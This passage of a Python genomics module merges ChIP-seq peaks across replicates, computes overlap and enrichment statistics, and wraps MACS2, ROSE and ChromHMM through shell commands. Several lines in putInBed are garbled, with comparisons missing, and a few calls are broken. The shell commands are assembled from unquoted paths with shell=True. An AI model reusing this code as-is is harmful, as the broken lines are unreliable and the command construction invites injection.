initial overlap.\")\n\t\t\t\tf.write(\" we did not had enough initial overlap.\"+'\\n')\n\t\t\t\tif newsmalloverlap < MINOVERLAP:\n\t\t\t\t\tif merged_bed.columns[val].split('-')[0] in markedasbad:\n\t\t\t\t\t\tprint(' replicate ' + merged_bed.columns[val] + ' was too bad and had not enough overlap')\n\t\t\t\t\t\tf.write(' replicate ' + merged_bed.columns[val] + ' was too bad and had not enough overlap'+'\\n')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telif h.askif(\"we have two good quality peaks that don't merge well at all: \"+merged_bed.columns[val] +\\\n\t\t\t\t\t\t\t\" and \" +merged_bed.columns[biggest_ind]+ \" can the first one be removed?:\\n \\\n\t\t\t\t\t\t\toverlap: \"+str(overlap*100)+'%\\n smalloverlap: '+str(smalloverlap*100)+'%\\n new smalloverlap: '+str(newsmalloverlap*100)+\"%\"):\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\" enough from small overlaps\")\n\t\t\t\t\t\tf.write(\" enough from small overlaps\"+'\\n')\n\t\t\tprint(' --> enough overlap')\n\t\t\tf.write(' --> enough overlap'+'\\n')\n\t\t\trecovered += np.sum(additionalpeaksinsec.astype(bool))\n\t\t\tif merged_bed.columns[val].split('-')[0] not in markedasbad:\n\t\t\t\ttot += peakmatrix[val].astype(int)\n\t\t\t# ones that we have in the Primary but not in the secondary\n\t\t\tif not lookeverywhere or len(additionalpeaksinbig)==0:\n\t\t\t\ttolookfor = peakmatrix[biggest_ind] == 0 if lookeverywhere else np.logical_and(peakmatrix[biggest_ind]==0, peakmatrix[val])\n\t\t\t\tadditionalpeaksinbig = findAdditionalPeaks(finalpeaks, tolookfor, bigwigfolder + findpeakpath(bigwigfolder, biggest), sampling=sampling, mincov=mincov, window=window, minKL=minKL, use=use)\n\t\t\t\tif len(additionalpeaksinbig[additionalpeaksinbig>0])>0:\n\t\t\t\t\tsns.kdeplot(additionalpeaksinbig[additionalpeaksinbig>0],label=biggest, legend=True).set(xlim=(0,None))\n\t\t\t\t\tprint(' min,max from newly found peaks: '+str((additionalpeaksinbig[additionalpeaksinbig>0].min(),additionalpeaksinbig[additionalpeaksinbig>0].max())))\n\t\t\t\t\tf.write(' min,max from newly found peaks: '+str((additionalpeaksinbig[additionalpeaksinbig>0].min(),additionalpeaksinbig[additionalpeaksinbig>0].max()))+'\\n')\n\n\t\t\t\tpeakmatrix[biggest_ind] = np.logical_or(peakmatrix[biggest_ind], additionalpeaksinbig)\n\t\t\t\ttot += additionalpeaksinbig.astype(bool).astype(int)\n\t\t\t\trecovered += np.sum(additionalpeaksinbig.astype(bool))\n\t\t\tprint(' we have recovered ' + str(recovered)+' peaks, equal to '+ str(100*recovered/np.sum(peakmatrix[biggest_ind]))+\\\n\t\t\t\t'% of the peaks in main replicate')\n\t\t\tf.write(' we have recovered ' + str(recovered)+' peaks, equal to '+ str(100*recovered/np.sum(peakmatrix[biggest_ind]))+\\\n\t\t\t\t'% of the peaks in main replicate'+'\\n')\n\t\t\tif overlap < (MINOVERLAP+0.2)/1.2:\n\t\t\t\t# we recompute to see if the overlap changed\n\t\t\t\tnewoverlap = np.sum(np.logical_and(peakmatrix[val],peakmatrix[biggest_ind]))/np.sum(peakmatrix[biggest_ind])\n\t\t\t\tsmalloverlap = np.sum(np.logical_and(peakmatrix[val],peakmatrix[biggest_ind]))/np.sum(peakmatrix[val])\n\t\t\t\tif newoverlap < (MINOVERLAP+0.2)/1.2:\n\t\t\t\t\tif smalloverlap < (2+MINOVERLAP)/3:\n\t\t\t\t\t\tprint(\" not enough overlap to advice to merge the bams.\\n oldnew overlap: \"+str(overlap*100)+'%\\n \\\n\t\t\t\t\t\t\tnew overlap: '+str(newoverlap*100)+\"%\")\n\t\t\t\t\t\tf.write(\" not enough overlap to advice to merge the bams.\\n oldnew overlap: \"+str(overlap*100)+'%\\n \\\n\t\t\t\t\t\t\tnew overlap: '+str(newoverlap*100)+\"%\"+'\\n')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(' enough from small overlap to advice to merge the peaks')\n\t\t\t\t\t\tf.write(' enough from small overlap to advice to merge the peaks'+'\\n')\n\t\t\ttomergebam.append([biggest, peakname])\n\t\t\t#the quality is good enough in the end we can pop from the list if it exists\n\t\t\tif tf in remove:\n\t\t\t\tremove.remove(tf)\n\t\tplt.title('distribution of new found peaks')\n\t\tif saveloc:\n\t\t\tplt.savefig(saveloc+tf+\"_new_found_peaks_kdeplot.pdf\")\n\t\tplt.show()\n\t\t# new distplot\n\t\t# new correlation plot\n\t\tratiosofunique[tf] = len(np.argwhere(peakmatrix.sum(0)==1))/peakmatrix.shape[1]\n\t\tif doPlot:\n\t\t\tsns.pairplot(merged_bed,corner=True, diag_kind=\"kde\", kind=\"reg\", plot_kws={\"scatter_kws\":{\"alpha\":.05}})\n\t\t\t#fig = fig.map_upper(col_nan_scatter)\n\t\t\t#fig = fig.map_upper(col_nan_kde_histo)\n\t\t\tplt.suptitle(\"correlation and distribution of peaks after recovery\", y=1.08)\n\t\t\tif saveloc:\n\t\t\t\tfig.savefig(saveloc+tf+\"_after_pairplot.pdf\")\n\t\t\tplt.show()\n\t\t\tfor i, val in enumerate(merged_bed):\n\t\t\t\tunique_inval = np.logical_and(np.delete(peakmatrix,i,axis=0).sum(0).astype(bool)==0, peakmatrix[i])\n\t\t\t\tsns.kdeplot(merged_bed[val][unique_inval], legend=True).set(xlim=(0,None))\n\t\t\tplt.title(\"distribution of unique peaks in each replicate after recovery\")\n\t\t\tif saveloc:\n\t\t\t\tplt.savefig(saveloc+tf+\"_after_unique_kdeplot.pdf\")\n\t\t\tplt.show()\n\t\tif len(peakmatrix.shape) > 1 and doPlot:\n\t\t\tif peakmatrix.shape[0] < 7:\n\t\t\t\tpresence = []\n\t\t\t\tfor peakpres in peakmatrix: # https://github.com/tctianchi/pyvenn\n\t\t\t\t\tpresence.append(set([i for i, val in enumerate(peakpres) if val == 1]))\n\t\t\t\ttitle = tf + '_recovered (TOREMOVE)' if tf in remove else tf+'_recovered'\n\t\t\t\th.venn(presence, [i+'_BAD' if i.split('-')[0] in markedasbad else i for i in merged_bed.columns], title=title, folder=saveloc)\n\t\t\t\tplt.show()\n\t\t\telse:\n\t\t\t\tprint('too many replicates for Venn')\n\t\t\t\tf.write('(too many replicates for Venn)'+'\\n')\n\t\t\tfinalpeaks = finalpeaks[np.logical_or(tot>1,peakmatrix[biggest_ind])]\n\t\tfinalpeaks['name'] = biggest\n\t\tfinalpeaks['tf'] = tf\n\t\tmergedpeaksdict.update({tf: finalpeaks})\n\t\tprint(str((tf,len(finalpeaks))))\n\t\tf.write(str((tf,len(finalpeaks)))+'\\n')\n\tmergedpeak = pd.concat([peaks for _, peaks in mergedpeaksdict.items()]).reset_index(drop=True)\n\tif doPlot:\n\t\tdf= pd.DataFrame(data=ratiosofunique,index=['percentage of unique'])\n\t\tdf['proteins'] = df.index\n\t\tfig = sns.barplot(data=df)\n\t\tplt.xticks(rotation=60,ha='right')\n\t\tplt.title(\"ratios of unique in replicates across experiments\")\n\t\tif saveloc:\n\t\t\tplt.savefig(saveloc+\"All_ratios_unique.pdf\")\n\t\tplt.show()\n\tf.close()\n\tmergedpeak['name'] = mergedpeak.tf\n\treturn mergedpeak, tomergebam, remove, ratiosofunique\n\n\ndef findAdditionalPeaks(peaks, tolookfor, filepath, sampling=1000, mincov=4,\n\t\t\t\t\t\twindow=100, cov={}, minKL=8, use='max'):\n\t\"\"\"\n\tfindAdditionalPeaks: for all peaks in A and/or B find in coverage file if zone has relative cov\n\tof more than thresh then add to peak\n\tif B is small and > 20% of peaks in A are found back, increase confidence and\n\tflag for mergeBams\n\tif < 20% don't flag for merge bam\n\tf B is big and now mean non overlap < 40%, take union and flag for mergeBam else, throw B.\n\n\tArgs:\n\t-----\n\t\tpeaks\n\t\ttolookfor\n\t\tfilepath\n\t\tsampling\n\t\tmincov\n\t\twindow\n\t\tcov\n\t\tminKL\n\t\tuse\n\treturns:\n\t-------\n\t\tnp.array(bool) for each peaks in peakset, returns a binary\n\t\"\"\"\n\t# def poisson(k, lamb, scale): return scale * (lamb**k / factorial(k)) * np.exp(-lamb)\n\n\tdef KLpoisson(lamb1, lamb2): return lamb1 * np.log(lamb1 / lamb2) + lamb2 - lamb1\n\tdef poisson(k, lamb): return (lamb**k/factorial(k)) * np.exp(-lamb)\n\tdef negLogLikelihood(params, data): return - np.sum(np.log(poisson(data, params[0])))\n\tdef poissonFit(data): return float(minimize(negLogLikelihood,x0=np.ones(1),args=(data,),method='Powell').x)\n\tbw = pyBigWig.open(filepath)\n\tres = np.zeros(len(peaks))\n\tprevchrom = ''\n\tlamb = {}\n\tcov = {}\n\t#ignore by message\n\twarnings.filterwarnings(\"ignore\", message=\"encountered in\")\n\tfor i, has in enumerate(tolookfor):\n\t\tif has:\n\t\t\tval = peaks.iloc[i]\n\t\t\tif val.chrom not in chroms:\n\t\t\t\tcontinue\n\t\t\tif val.chrom != prevchrom:\n\t\t\t\tif val.chrom not in cov:\n\t\t\t\t\tcov[val.chrom] = bw.stats(str(val.chrom))[0]\n\t\t\t\t\tprevchrom = val.chrom\n\t\t\t\t\tif use == 'poisson':\n\t\t\t\t\t\t#TODO: compute on INPUT file instead\n\t\t\t\t\t\tsamples = np.zeros(window * sampling)\n\t\t\t\t\t\tsam = np.random.rand(sampling)\n\t\t\t\t\t\tsam = sam * (bw.chroms(str(val.chrom))-window)\n\t\t\t\t\t\tfor j, sample in enumerate(sam.astype(int)):\n\t\t\t\t\t\t\tsamples[j*window:(j + 1)*window] = np.nan_to_num(bw.values(str(val.chrom), sample, sample + window), 0)\n\t\t\t\t\t\tscale = np.unique(samples)[1]\n\t\t\t\t\t\tsamples = (samples/scale).astype(int)\n\t\t\t\t\t\tlamb[val.chrom] = (poissonFit(samples),scale)\n\n\t\t\tstart = max([val.start - window, 0])\n\t\t\tend = min(val.end + window, bw.chroms(str(val.chrom)))\n\t\t\tzone = np.nan_to_num(bw.values(str(val.chrom), start, end), 0)\n\t\t\tif use == 'max':\n\t\t\t\tif max(zone) / cov[val.chrom] > mincov*1.5 or sum(zone) / (cov[val.chrom] * (end - start)) > mincov:\n\t\t\t\t\tres[i] = max(zone) / cov[val.chrom]\n\t\t\telif use == 'poisson':\n\t\t\t\t#TODO: compute -log10pvalue\n\t\t\t\tla = poissonFit((zone/lamb[val.chrom][1]).astype(int))\n\t\t\t\tkl=KLpoisson(la, lamb[val.chrom][0])\n\t\t\t\tif kl > minKL:\n\t\t\t\t\tres[i] = max(zone) / cov[val.chrom] #foldchange from macs2\n\n\treturn res\n\n\ndef putInBed(conscensus, value, window=10, mergetype='mean'):\n\t\"\"\" given ordered dataframes\n\n\tconscensus df[start,end,chrom]\n\tvalue df[start, end, chrom,foldchange]\n\n\ttype: oneof: mean,first,last,\n\t\"\"\"\n\tconscensus = conscensus.sort_values(by=['chrom','start','end']).reset_index(drop=True)\n\tvalue = value.sort_values(by=['chrom','start','end']).reset_index(drop=True)\n\tlocinvalue=0\n\tloc=0\n\ttot=0\n\tnum = []\n\tres = np.zeros(len(conscensus))\n\tnot_end=True\n\tdef add(res,num,not_end,loc):\n\t\tif len(num)>0:\n\t\t\tif mergetype=='mean':\n\t\t\t\tres[loc] = np.mean(num)\n\t\t\telif mergetype=='first':\n\t\t\t\tres[loc]=num[0]\n\t\t\telif mergetype=='last':\n\t\t\t\tres[loc]=num[-1]\n\t\t\telse:\n\t\t\t\traise ValueError('must be one of')\n\t\t\tnum= []\n\t\tloc+=1\n\t\tif loc == len(conscensus):\n\t\t\tnot_end=False\n\t\treturn res, num, not_end,loc\n\twhile not_end:\n\t\tprint(loc/len(conscensus),end=\"\\r\")\n\t\ta = conscensus.iloc[loc]\n\t\tb = value.iloc[locinvalue]\n\t\tif b.chrom < a.chrom:\n\t\t\tlocinvalue+=1\n\t\t\tif locinvalue == len(value):\n\t\t\t\tnot_end=False\n\t\telif b.chrom > a.chrom:\n\t\t\tloc+=1\n\t\t\tif loc == len(conscensus):\n\t\t\t\tnot_end=False\n\t\telif b.starta.start:\n\t\t\t\ttot+=1\n\t\t\t\tnum.append(b.foldchange)\n\t\t\t\tif b.end>a.end+window:\n\t\t\t\t\tres,num,not_end,loc = add(res,num,not_end,loc)\n\t\t\t\t\tcontinue\n\t\t\tlocinvalue+=1\n\t\t\tif locinvalue == len(value):\n\t\t\t\tnot_end=False\n\t\telif b.starta.end+window:\n\t\t\t\tres,num,not_end,loc = add(res,num,not_end,loc)\n\t\t\t\tcontinue\n\t\t\tlocinvalue+=1\n\t\t\tif locinvalue == len(value):\n\t\t\t\tnot_end=False\n\t\telse:\n\t\t\tres,num,not_end,loc = add(res,num,not_end,loc)\n\tprint(str(tot)+' were merged into conscensus')\n\treturn res\n\n\ndef pairwiseOverlap(bedfile, norm=True, bedcol=8, correct=True, docorrelation=True):\n\t\"\"\"\n\tconsidering a befile representing a conscensus set of peaks\n\twith each columns after the 7th one representing the signal of a given ChIP experiment\n\tover this conscensus\n\n\toverlap of j in i\n\toverlap of row values in col values\n\t\"\"\"\n\tif correct:\n\t\tprint(\"we will be correcting for fully similar lines/ columns by removing 1 on their last value\")\n\tdat = bedfile[bedfile.columns[bedcol:]].values\n\tprob = dat.astype(bool).sum(0)/len(dat)\n\tcorrelation = np.ones((dat.shape[1],dat.shape[1]))\n\toverlap = np.ones((dat.shape[1],dat.shape[1]))\n\tfor i, col in enumerate(dat.T):\n\t\t#pdb.set_trace()\n\t\toverlapping = np.delete(dat,i,axis=1)[col!=0]\n\t\tcol = col[col!=0]\n\t\tadd=0\n\t\tfor j, val in enumerate(overlapping.T):\n\t\t\tif j==i:\n\t\t\t\tadd=1\n\t\t\tif docorrelation:\n\t\t\t\tif norm and not np.isnan(zscore(col[val!=0]).sum()) and not np.isnan(zscore(val[val!=0]).sum()) or not correct:\n\t\t\t\t\tcorrelation[i,j+add] = np.corrcoef(zscore(val[val!=0]),zscore(col)[val!=0])[0,1]\n\t\t\t\telse:\n\t\t\t\t\ttmp = np.corrcoef(val[val != 0], col[val != 0])[0, 1]\n\t\t\t\t\tif np.isnan(tmp) and correct:\n\t\t\t\t\t\tif len(col[val!=0]) == 0 or len(val[val!=0]) == 0:\n\t\t\t\t\t\t# one has no overlap\n\t\t\t\t\t\t\tcorrelation[i,j+add] = 0\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t# one contains only the same value everywhere\n\t\t\t\t\t\t\tcol[-1]-=max(0.01,abs(np.mean(col)))\n\t\t\t\t\t\t\tval[-1]-=max(0.01,abs(np.mean(val)))\n\t\t\t\t\t\t\tcorrelation[i,j+add] = np.corrcoef(val,col)[0,1]\n\t\t\toverlap[i,j+add]=len(val[val!=0])/len(col)\n\tif docorrelation:\n\t\tcorrelation = pd.DataFrame(data=correlation, index=bedfile.columns[bedcol:], columns=bedfile.columns[bedcol:])\n\t\tcorrelation[correlation.isna()] = 0\n\toverlap = pd.DataFrame(data=overlap, index=bedfile.columns[bedcol:], columns=bedfile.columns[bedcol:]).T\n\treturn overlap, correlation if docorrelation else None\n\n\ndef enrichment(bedfile, bedcol=8, groups=None, okpval=10**-3):\n\t\"\"\"\n\tconsidering a befile representing a conscensus set of peaks\n\twith each columns after the 7th one representing the signal of a given ChIP experiment\n\tover this conscensus\n\n\tenrichment of j in i\n\tenrichment of row values in col values\n\t\"\"\"\n\tdat = bedfile[bedfile.columns[bedcol:]].values\n\t# pdb.set_trace()\n\tprob = dat.astype(bool).sum(0)/len(dat)\n\tenrichment = np.zeros((dat.shape[1] if groups is None else len(set(groups)), dat.shape[1]))\n\tpvals = np.zeros(\n\t\t(dat.shape[1] if groups is None else len(set(groups)), dat.shape[1]))\n\tif groups is not None:\n\t\tfor i in set(groups):\n\t\t\toverlapping = dat[groups==i]\n\t\t\tfor j,val in enumerate(overlapping.T):\n\t\t\t\t# enrichment of j in i\n\t\t\t\tinobs = len(val[val != 0])\n\t\t\t\tnotinobs = len(val[val == 0])\n\t\t\t\tinpred = prob[j]*len(dat)\n\t\t\t\tnotinpred = (1-prob[j])*len(dat)\n\t\t\t\t\n\t\t\t\te, p = fisher_exact([\n\t\t\t\t\t[max(1,inobs), max(1,notinobs)],\n\t\t\t\t\t[max(1,inpred), max(1,notinpred)]])\n\t\t\t\tenrichment[i, j] = np.log2(e)\n\t\t\t\tpvals[i, j] = p\n\telse:\n\t\tfor i, col in enumerate(dat.T):\n\t\t\toverlapping = np.delete(dat,i,axis=1)[col!=0]\n\t\t\tcol = col[col!=0]\n\t\t\tadd=0\n\t\t\tfor j, val in enumerate(overlapping.T):\n\t\t\t\tif j==i:\n\t\t\t\t\tadd=1\n\t\t\t\t\tenrichment[i,i]=0\n\t\t\t\te, p = fisher_exact([[len(val[val != 0]), len(val[val == 0])], [\n\t\t\t\t\tprob[j+add]*len(dat), (1-prob[j+add])*len(dat)]])\n\t\t\t\tenrichment[i, j+add] = np.log2(e)\n\t\t\t\tpvals[i, j+add] = p\n\t\tenrichment[i,i]=0\n\tenrichment = pd.DataFrame(data=enrichment, index=bedfile.columns[bedcol:] if groups is None else set(groups), columns=bedfile.columns[bedcol:]).T\n\tenrichment[enrichment<-1000] = -1000\n\tenrichment[enrichment.isna()] = 0\n\tenrichment[enrichment > 1000] = 1000\n\tpvals = np.reshape(multipletests(pvals.ravel(),\n\t\t\t\t\t\t\t\t\t 0.1, method=\"bonferroni\")[1], pvals.shape)\n\tpvals = pd.DataFrame(\n\t\tdata=pvals, index=bedfile.columns[bedcol:] if groups is None else set(groups), columns=bedfile.columns[bedcol:]).T\n\tenrichment[pvals>okpval] = 0\n\treturn enrichment, pvals\n\n\ndef findAdditionalCobindingSignal(conscensus, known=None, bigwigs=[], window=100):\n\t\"\"\"\n\tsomewhat similar concept to computePeaksAt\n\n\t# get pysam data\n\t# ask for counts only at specific locus based on peak windows from mergedpeakset\n\t# append to an array\n\t# return array, normalized\n\t\"\"\"\n\tif known:\n\t\tprint('getting '+ str(len(peaks.tf))+' peaks. Using the peaks values directly if \\\n\t\t\t\tavailable and using the bigwigs otherwise.')\n\t\tres = known.values.astype(float)\n\telif len(bigwigs)>0:\n\t\tprint('getting '+str(len(bigwigs))+' bigwigs, no peaks passed. Will compute the cobinding values\\\n\t\t\tacross the conscensus for each bigwigs.')\n\t\tres = np.zeros((len(bigwigs), len(conscensus)), dtype=float)\n\telse:\n\t\traise ValueError('you need to pass a list of path to bigwigs for each/some samples')\n\tfor i, bw in enumerate(bigwigs):\n\t\tif known:\n\t\t\tfound = False\n\t\t\tfor j, val in enumerate(known.tf):\n\t\t\t\tif val in bw:\n\t\t\t\t\tif found:\n\t\t\t\t\t\traise ValueError('found two or more matching tf for bigwig: '+str(bw))\n\t\t\t\t\tfound = True\n\t\t\t\t\ti=j\n\t\t\t\t\tbreak\n\t\t\t\tif not found:\n\t\t\t\t\tprint('no tf found in known for tf: '+bw)\n\t\t\t\t\traise ValueError('you need to have an amount of known columns equal to your bigwigs')\n\t\tprint('doing file ' + str(bw))\n\t\tbw = pyBigWig.open(bw)\n\t\tfor k, val in conscensus.iterrows():\n\t\t\tif known:\n\t\t\t\tif res[i][k]!=0:\n\t\t\t\t\tcontinue\n\t\t\tstart = max([val.start - window, 0])\n\t\t\tend = min(val.end + window, bw.chroms(str(val.chrom)))\n\t\t\tres[i][k] = bw.stats(str(val.chrom), start, end)[0]\n\tres = np.nan_to_num(res, 0)\n\treturn conscensus.join(pd.Dataframe(data=(res.T / res.max(1)).T, columns=bigwigs if not known else known.columns))\n\n\n\n# def annotatePeaks():\n# \t\"\"\"\n# \tget H3k27AC peaks and compute Rose\n# \tfor each TF peak\n# \tassign super enhancer if within it and create a super enhancer TFgroup\n# \tfor each peaks\n# \tapply similar to rose and merge TF together. (create new TFgroup)\n# \tfor each TF groups say\n# \t if within super enhancer\n# \t if within high h3k27ac marks\n# \t its nearest gene (distance to it, cis/trans)\n\n\n# \tFIND A WAY TO FILTER TO ONLY PLACES WITH H3K27AC marks??\n\n# \tTAD points where most contacts on one side happened on this side.\n# \tspecific distance. zone of most concentration of contacts for a peak region.\n# \t\"\"\"\n\t# if way == 'Closest':\n\n\t# elif way == 'ClosestExpressed':\n\n\t# elif way == 'ActivityByContact':\n\n\t# else:\n\t# raise ValueError('needs to be oneof Closest ClosestExpressed ActivityByContact')\n\n\n# os.system()\n\n\n# def getCoLocalization():\n# \t\"\"\"\n# \tfor each annotations (super enhancer & TFgroups)\n# \tfor each TF, find highest peak/meanCov. if above thresh add to localization\n# \t\"\"\"\n\n\n# def refineGroupsWithHiC():\n# \t\"\"\"\n# \tgiven HiC data, for each loops (should be less than X Mb distance. create a Xkb zone around both sides\n# \tand find + merge each TF/TFgroup at this location)\n# \t\"\"\"\n\n\ndef fullDiffPeak(bam1, bam2, control1, size=None, control2=None, scaling=None, directory='diffData/',\n\t\t\t\t res_directory=\"diffPeaks/\", isTF=False, compute_size=True, pairedend=True):\n\t\"\"\"\n\twill use macs2 to call differential peak binding from two bam files and their control\n\n\tone can also provide some spike in scaling information\n\n\tArgs:\n\t-----\n\tbam1\n\tbam2()\n\tcontrol1\n\tcontrol2\n\tscaling\n\t\"\"\"\n\tprint(\"doing diff from \" + bam1 + \" and \" + bam2)\n\tif scaling is not None:\n\t\tif max(scaling) > 1:\n\t\t\traise ValueError(\"scalings need to be between 0-1\")\n\tname1 = bam1.split('/')[-1].split('.')[0]\n\tname2 = bam2.split('/')[-1].split('.')[0]\n\tif size is None:\n\t\tif isTF:\n\t\t\tsize = 147\n\t\telse:\n\t\t\tsize = 200\n\tif compute_size:\n\t\tprint('computing the fragment avg size')\n\t\tcmd = \"macs2 predictd -i \" + bam1\n\t\tret = subprocess.run(cmd, capture_output=True, shell=True)\n\t\tsize = re.findall(\"# predicted fragment length is (\\d+)\", str(ret.stderr))[0]\n\t\tprint(size)\n\telse:\n\t\tprint('using default|given size')\n\tpairedend = \"BAMPE\" if pairedend else \"BAM\"\n\tif control2 is None:\n\t\tcontrol2 = control1\n\tcmd1 = \"macs2 callpeak -B -t \" + bam1 + \" -c \" + control1 + \" --nomodel --extsize \" + str(size) + \" -n \" + name1 + \" --outdir \" + directory + \" -f \" + pairedend\n\tcmd2 = \"macs2 callpeak -B -t \" + bam2 + \" -c \" + control2 + \" --nomodel --extsize \" + str(size) + \" -n \" + name2 + \" --outdir \" + directory + \" -f \" + pairedend\n\tprint('computing the scaling values')\n\tret = subprocess.run(cmd1, capture_output=True, shell=True)\n\tprint(ret.stderr)\n\tscaling1a = int(re.findall(\" after filtering in treatment: (\\d+)\", str(ret.stderr))[0])\n\tscaling1b = int(re.findall(\" after filtering in control: (\\d+)\", str(ret.stderr))[0])\n\tscaling1 = scaling1a if scaling1a <= scaling1b else scaling1b\n\tret = subprocess.run(cmd2, capture_output=True, shell=True)\n\tprint(ret.stderr)\n\tscaling2a = int(re.findall(\" after filtering in treatment: (\\d+)\", str(ret.stderr))[0])\n\tscaling2b = int(re.findall(\" after filtering in control: (\\d+)\", str(ret.stderr))[0])\n\tscaling2 = scaling2a if scaling2a <= scaling2b else scaling2b\n\tif scaling is not None:\n\t\tscaling1 = int(scaling1/scaling[0])\n\t\tscaling2 = int(scaling2/scaling[1])\n\tprint(scaling1, scaling2)\n\treturn diffPeak(directory+name1+\"_treat_pileup.bdg\", directory+name2+\"_treat_pileup.bdg\",\n\t\tdirectory+name1+\"_control_lambda.bdg\", directory+name2+\"_control_lambda.bdg\",\n\t\tres_directory, scaling1, scaling2, size)\n\n\ndef diffPeak(name1, name2, control1, control2, res_directory, scaling1, scaling2, size):\n\t\"\"\"\n\tcalls MACS2 bdgdiff given the parameters\n\t\"\"\"\n\tprint(\"doing differential peak binding\")\n\tcmd = \"macs2 bdgdiff --t1 \" + name1 + \" --c1 \"\n\tcmd += control1+\" --t2 \" + name2 +\" --c2 \" + control2\n\tcmd += \" --d1 \" + str(scaling1) + \" --d2 \" + str(scaling2) + \" -g 60 \"\n\tcmd += \"-l \" + str(size) + \" --o-prefix \" + name1.split('/')[-1].split('.')[0] + \"_vs_\"\n\tcmd += name2.split('/')[-1].split('.')[0] + \" --outdir \" + res_directory\n\tres = subprocess.run(cmd, capture_output=True, shell=True)\n\treturn res\n\n\n# def AssignToClosestExpressed(bed,countFile,genelocFile):\n# \tprint(\"the bed file and genelocFile should use the same assembly\")\n# \tgenelocFile = pd.read_csv(genelocFile,sep=\"\\t\", compression=\"\", columns=['chrom','start','end',\"name\"])\n# \t#for val in bed.iterrows():\n\n\ndef MakeSuperEnhancers(MACS2bed, bamFile, outdir, baiFile=None, rosePath=\".\",\n\tstitching_distance=None, TSS_EXCLUSION_ZONE_SIZE=\"2500\", assembly=\"hg38\",controlBam=None,controlBai=None):\n\t\"\"\"\n\tCalls super enhancer from H3K27ac with the ROSE algorithm\n\n\tArgs:\n\t----\n\t\tMACS2GFF\n\t\tbamFile\n\t\toutdir\n\t\tbaiFile\n\t\trosePath\n\t\tstitching_distance\n\t\tTSS_EXCLUSION_ZONE_SIZE\n\t\tassembly\n\t\tcontrolBam\n\t\tcontrolBai\n\n\tReturns:\n\t--------\n\t\ta bed-like dataframe with the superenhancers\n\n\toutdir has to be an absolute path or a ~/path\n\t\"\"\"\n\tprint(\"we are going to move your input files to \"+rosePath)\n\tcmd = 'mv '+MACS2bed+' '+rosePath+MACS2bed.split('/')[-1]+'.bed'\n\tcmd += ' && mv '+bamFile+' '+rosePath\n\tbaiFile = baiFile if baiFile else bamFile[:-1]+'i'\n\tcmd += ' && mv '+baiFile +' '+rosePath\n\tres = subprocess.run(cmd, capture_output=True, shell=True)\n\tif res.returncode != 0:\n\t\traise SystemError('failed moving files: '+str(res))\n\tcmd = \"cd \"+rosePath+\" && python ROSE_main.py -g \"+assembly+\" -i \"+MACS2bed.split('/')[-1]+'.bed' + \" -r \" + bamFile.split('/')[-1] + \" -o \" + outdir\n\tif TSS_EXCLUSION_ZONE_SIZE:\n\t\tcmd+=\" -t \"+TSS_EXCLUSION_ZONE_SIZE\n\tif controlBam:\n\t\tos.system('mv '+controlBam+' '+rosePath)\n\t\tcontrolBai = controlBai if controlBai else controlBam[:-1]+'i'\n\t\tos.system('mv '+controlBai+' '+rosePath)\n\t\tcmd+=\" -c \"+controlBam.split('/')[-1]\n\tif stitching_distance:\n\t\tcmd+=\" -s \"+ stitching_distance\n\n\tres = subprocess.run(cmd, capture_output=True, shell=True)\n\tfail = False\n\tif res.returncode != 0:\n\t\tv = 'ROSE failed:' +str(res)\n\t\tfail = True\n\tprint('finished.. moving them back to their original folder')\n\tcmd = 'mv '+rosePath+MACS2bed.split('/')[-1]+'.bed ' + MACS2bed\n\tcmd += ' && mv '+rosePath+bamFile.split('/')[-1]+' '+bamFile\n\tcmd+= ' && mv '+rosePath+baiFile.split('/')[-1]+' '+baiFile\n\tif controlBam:\n\t\tcmd += ' && mv '+rosePath+controlBam.split('/')[-1]+' '+controlBam\n\t\tcmd += ' && mv '+rosePath+controlBai.split('/')[-1]+' '+controlBai\n\tres = subprocess.run(cmd, capture_output=True, shell=True)\n\tif res.returncode != 0:\n\t\traise SystemError('failed moving files: '+str(res))\n\tif fail:\n\t\traise SystemError(v)\n\tprint('worked')\n\tprint(res)\n\treturn ReadRoseSuperEnhancers(outdir ,bool(controlBam))\n\n\n\ndef runChromHMM(outdir, data, numstates=15, datatype='bed', folderPath=\".\", chromHMMFolderpath=\"~/ChromHMM/\", assembly=\"hg38\",control_bam_dir=None):\n\t\"\"\"\n\truns chromHMM algorithm\n\n\tArgs:\n\t-----\n\t\toutdir str: an existing dir where the results should be saved\n\t\tdata: a df[cellname,markname,markbed|bam|bigwig, ?controlbed|bam|bigwig]\n\t\tfolderpath\n\t\tnumstates\n\t\tdatatype\n\t\tfolderPath\n\t\tchromHMMFolderpath\n\t\tassembly\n\t\tcontrol_bam_dir\n\n\tReturns:\n\t-------\n\t\tA dict of bed like dataframes containing the regions of the different states\n\t\"\"\"\n\tprint(\"you need to have ChromHMM\")\n\tchromHMM = \"java -mx8000M -jar \"+chromHMMFolderpath+\"ChromHMM.jar \"\n\th.createFoldersFor(outdir+'binarized/')\n\tdata.to_csv(outdir+\"input_data.tsv\", sep='\\t',index=None,header=None)\n\tcmd = chromHMM\n\tif datatype==\"bed\":\n\t\tcmd+=\"BinarizeBed \"\n\telif datatype==\"bigwig\":\n\t\tcmd+=\"BinarizeSignal \"\n\telif datatype==\"bam\":\n\t\tcmd+=\"BinarizeBam \"\n\telse:\n\t\traise ValueError('you need to provide one of bam, bigwig, bed')\n\tcmd+= chromHMMFolderpath+\"CHROMSIZES/\"+assembly+\".txt \"+ folderPath+\" \"+outdir+\"input_data.tsv \"+outdir+\"binarized\"\n\tif control_bam_dir:\n\t\tcmd+=\" -c \"+control_bam_dir\n\tres1 = subprocess.run(cmd, capture_output=True, shell=True)\n\tprint(res1)\n\tif res1.returncode!=0:\n\t\traise ValueError(str(res1.stderr))\n\tcmd = chromHMM + \"LearnModel -printposterior -noautoopen \"\n\tif len(data)<10:\n\t\tcmd += '-init load -m '+chromHMMFolderpath+'model_15_coreMarks.txt '\n\tcmd += outdir+\"binarized \"+outdir+\" \"+str(numstates)+\" \"+assembly\n\tres2 = subprocess.run(cmd, capture_output=True, shell=True)\n\tprint(res2)\n\tif res2.returncode!=0:\n\t\traise ValueError(res2.stderr)\n\tret = {}\n\tfor v in set(data[0]):\n\t\tret[v] = pd.read_csv(outdir+v+'_'+str(numstates)+'_dense.bed', sep='\\t', 